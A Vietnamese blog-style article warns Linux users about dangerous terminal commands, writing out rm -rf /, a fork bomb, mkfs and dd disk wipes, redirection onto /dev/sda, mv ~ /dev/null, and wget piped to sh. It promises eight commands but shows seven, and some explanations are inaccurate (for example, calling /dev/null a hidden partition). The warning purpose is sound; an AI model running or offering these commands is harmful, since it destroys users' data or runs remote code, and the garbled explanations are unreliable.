Dù bạn là người sử dụng Linux lâu năm hay vừa mới sử dụng thì cũng nên đọc qua bài này. Linux là hệ điều hành mã nguồn mở không giới hạn hay cấm kỵ bất cứ câu lệnh nào. Đồng nghĩa với việc bạn có thể làm mọi thứ trên Linux với giao diện dòng lệnh Terminal.

8 lệnh cấm trên Linux

Terminal là cửa sổ dòng lệnh làm nên tên tuổi của hệ điều hành này. Bạn có thể làm mọi thứ với Terminal từ việc viết code, dò lỗi, hack… Cửa sổ này sẽ giúp bạn thực thi mọi câu lệnh mà bạn muốn. Thậm chí bạn có thể tự tay xoá luôn cả hệ điều hành Linux chỉ với vài lệnh được gõ vào Terminal.

Terminal – mạnh mẽ nhưng nguy hiểm

Terminal sẽ nhanh chóng thực thi câu lệnh của bạn ngay sau khi ấn Enter mà không cần xác nhận gì. Điều đó làm nó trở nên mạnh mẽ và cũng nguy hiểm không lường. Hãy thử tưởng tượng nếu một câu lệnh có khả năng gây hại cho máy bạn được gõ vào và chạy trên Terminal?

Hậu quả là không thể lường trước được, bởi vì Terminal chỉ nhận lệnh và chạy. Nó không cần biết câu lệnh đó có gây hại cho chủ nhân nó hay là không? Nếu bạn sử dụng Linux bạn cần biết 8 câu lệnh sau đây để tránh trường hợp tự làm hại chính mình nhé !!

8 câu lệnh cấm kỵ trên Linux

Câu lệnh xoá mọi thứ (kể cả hệ điều hành)

Nếu bạn gõ vào Terminal lệnh  rm -rf / sẽ đồng nghĩa với việc xoá tất cả mọi thứ hiện tại trên máy tính. Câu lệnh này sẽ được hiểu như sau:

  • rm là từ khoá đại diện cho hành động cần xoá một thứ gì đó.
  • -rf là cụm từ ám chỉ câu lệnh rm ở trên chạy và xoá sạch các File và Folders bên trong nơi được chỉ định.
  • / Nếu bạn không ghi gì sau dấu / thì Linux sẽ hiểu là bắt đầu chọn từ gốc (đồng nghĩa với mọi thứ).

Do đó khi bạn chạy câu lệnh này thì Linux sẽ bắt đầu xoá tất cả các file được chỉ định từ ngoài vào trong. Ổ cứng của bạn sẽ bị dọn sạch sẽ (bao gồm luôn các file hệ thống).

Fork Bomb

Câu lệnh này tuy trông hài hước, vô hại nhưng cực kỳ nguy hiểm nếu bạn không biết.

:(){ :|: & };:

Khi lệnh này được thực thi nó sẽ tự gọi lại hàm shell để tự tạo lại chính nó. Đây giống như một con virus tự copy chính nó và sinh sản ra thêm nhiều con khác. RAM và CPU máy tính của bạn sẽ bị quá tải và gây treo máy. Đây là nền tảng cơ bản mô phỏng cho một cuộc tấn công DDoS.

Tổng hợp 8 lệnh cấm đừng bao giờ chạy trên Linux 16

Định dạng lại ổ đĩa cứng

Câu lệnh này cũng đơn giản và nguy hiểm không kém, và nó cũng rất dễ hiểu.

mkfs.ext4 /dev/sda1

Lệnh này sẽ được hiểu như sau:

  • mkfs.ext4 sẽ tạo ra một file hệ thống dạng ext4 mới trên thiết bị của bạn.
  • /dev/sda1 – Lệnh này chỉ định phân vùng đầu tiên (phân vùng chính) trên ổ đĩa của bạn.

Khi chạy lệnh, nó sẽ xoá hết dữ liệu trong phân vùng đầu tiên của ổ đĩa và thế vào đó một file định dạng phân vùng mới. Tuy nhiên, câu lệnh này cũng có thể được tuỳ biến lại thành mkfs.ext3 /dev/sdb2 để định dạng phân vùng thứ 2 trong ổ đĩa. Việc định dạng này sẽ làm ổ đĩa mất toàn bộ dữ liệu và không thể phục hồi.

Ghi trực tiếp vào ổ đĩa cứng

Câu lệnh này cũng hoạt động gần giống câu lệnh ở trên. Nó sẽ gửi dữ liệu đầu ra đến phân vùng đầu tiên của ổ cứng và ghi đè lên đó. Điều này sẽ làm hỏng các File hệ thống của bạn, có thể làm hỏng luôn cả hệ điều hành nên hãy cẩn thận.

command > /dev/sda

Câu lệnh này sẽ được hiểu như sau:

  • command – một lệnh bất kì
  • > Gửi dữ liệu đầu ra đến môt nơi được chỉ định.
  • /dev/sda Ghi đè dữ liệu đầu ra lên ổ đĩa cứng.

Xả rác vào ổ đĩa cứng

Khi chạy lệnh dd if=/dev/random of=/dev/sda sẽ khiến dữ liệu trong ổ đĩa cứng của bạn bị phân tán. Điều này sẽ dẫn đến nhiều File rác. Câu lệnh này được hiểu như sau:

  • dd – Copy dữ liệu dữ liệu từ nơi này sang nơi khác
  • if=/dev/random – Tạo ngẫu nhiên dữ liệu đầu ra. Bạn cũng sẽ thấy một số phân vùng khác được tạo ra như /dev/zero…
  • of=/dev/sda – Ghi dữ liệu vào phân vùng đầu tiên của ổ đĩa và ghi đè các file được chỉ định ngẫu nhiên.

Chuyển User vào hố đen

Phân vùng /dev/null là một phân vùng đặc biệt tồn tại ẩn và không thể tìm thấy (giống như hố đen). Di chuyển bất cứ File nào vào đó, cũng đồng nghĩa việc xoá vĩnh viễn file đó.

mv ~ /dev/null
  • mv – di chuyển tệp hoặc thư mục đến một phân vùng khác.
  • ~ – Đại diện cho toàn bộ phân vùng Home của hệ thống
  • /dev/null – Giống như hố đen mình nói ở trên, di chuyển thư mục vào đây đồng nghĩa với việc tự huỷ nó.

Download và chạy Script từ web

Câu lệnh này sẽ truy cập tới một trang web. Nếu trang web đó chứa một đoạn Script mà Linux có thể hiểu thì nó sẽ chạy đoạn Script đó. Đây cũng là cách người khác có thể tấn công và phá huỷ hệ điều hành Linux của bạn trong tích tắc.

wget http://example.com/... -O – | sh
  • wget <url> -O – Download một file từ địa chỉ web và output ra -O
  • http://example.com/... – Trang web chứa đoạn script
  • | – Lệnh đường ống dẫn đến
  • sh – Chạy lệnh trên shell

Leave a Reply

This site uses cookies to offer you a better browsing experience. By browsing this website, you agree to our use of cookies.